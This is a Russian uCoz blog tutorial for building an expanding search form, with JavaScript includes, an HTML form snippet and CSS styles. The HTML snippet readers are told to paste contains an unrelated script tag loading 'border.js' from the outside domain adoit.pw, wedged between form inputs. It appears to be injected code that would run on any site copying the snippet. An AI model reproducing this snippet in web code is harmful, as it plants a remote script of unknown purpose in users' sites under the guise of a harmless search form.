Пятница, 26.05.2017, 04:52


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Чего желаете?
Всего ответов: 82
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2013 » Август » 11 » Раздвижная форма поиска для uCoz
14:33
Раздвижная форма поиска для uCoz
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Создаём раздвижную форму поиска для uCoz

Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

Категория: uCoz CSS КодыСкрипты | Просмотров: 484 | Добавил: DoG | Теги: для uCoz, скрипт для ucoz | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Cities XL Platinum 2013 65
  • Чудо ферма \ Virtual farm 82
  • Именем короля 3. Коллекционное издание 83
  • Браузер Maxthon 182
  • Улесье. Коллекционное издание 143
  • Articles – лучшая Wikipedia в кармане 155
  • Download Master 5.12.1.1283 171
  • RIFT – многопользовательская онлайн игра 197
  • Darck Orbit – браузерная игра 189
  • Будущее настоящего прошлого_скачать 328
  • iSendSMS - для отправки SMS и MMS 220
  • Lunascape 6.2 Универсальный браузер 173
  • Редактор Inedita 165
  • Бизнес Пак - бесплатно 267
  • Графический редактор PhotoFiltre 212

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29633
  • FrontPage 2003 Русская версия 11550
  • Игра "Фараон и Клеопатра" скачать бесплатно 6786
  • Mozilla Firefox 8.0.1 - русская версия скачать 4208
  • Новый Супер Марио 4118
  • Игра в Длинные нарды 4044
  • Медитация для привлечения Любви 3743
  • Сборник_Программа настроев Г.Н.Сытина скачать 2882
  • FFrontPage 2007 Русская версия 2794
  • Авто выключение компьютера_WinMend Auto Shutdown 2654
  • Астрон Дизайн - 3D моделирование Вашего дома 2109
  • Спец эффекты с ВебКамерой 2090
  • Штука - игра в карты 1702
  • Программа для быстрого создания Flash-анимации 1514
  • Если хочешь быть счастливым - Литвак Михаил 1458

  • Красивый блок друзей сайта 311
  • Форма поиска для Ucoz 321
  • Новый цветной вид опроса v.2.0 uCoz 240
  • Новый вид комментариев v.1.0 + Модер-панель для uCoz 267
  • Топ юзеров для Ucoz 460
  • Часы для сайта 295
  • Скрипт Переводчик от Microsoft 351
  • MineCraft вид материалов для uCoz 435
  • Вид информера 258
  • Как сделать топ пользователей,по количеству файлов,и постов 244
  • Скрипт светлый вид материалов файлов для uCoz 255
  • Необычный вид комментариев 251
  • Новое меню от Diz-cs 480
  • Пожертвование на развитие сайта. 241
  • Кнопка рейтинга + и - 252

  • FM радио - отличная музыка в хорошем качестве 238
  • Флэш проигрыватель с большим количеством радиостанций.. 238
  • Новый вид соотношения гостей и пользователей 239
  • Перевод на другие языки для uCoz 239
  • Скрипт набор персонала для ucoz 239
  • Радио на вашем сайте 240
  • Новый цветной вид опроса v.2.0 uCoz 240
  • 7 каналов радиостанций высочайшего уровня на любой вкус! 240

  • WinToFlash_запись образа операционной системы Windows на флешку 364
  • ТелеПорт офлайн браузер 505
  • Чудо ферма \ Virtual farm 82
  • Zombies, Run! — бегом от зомби в реале! 281
  • Notepad++ текстовый редактор 178
  • Сборник_Программа настроев Г.Н.Сытина скачать 2882
  • Alligator Flash Designer_для флеш анимации 830


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость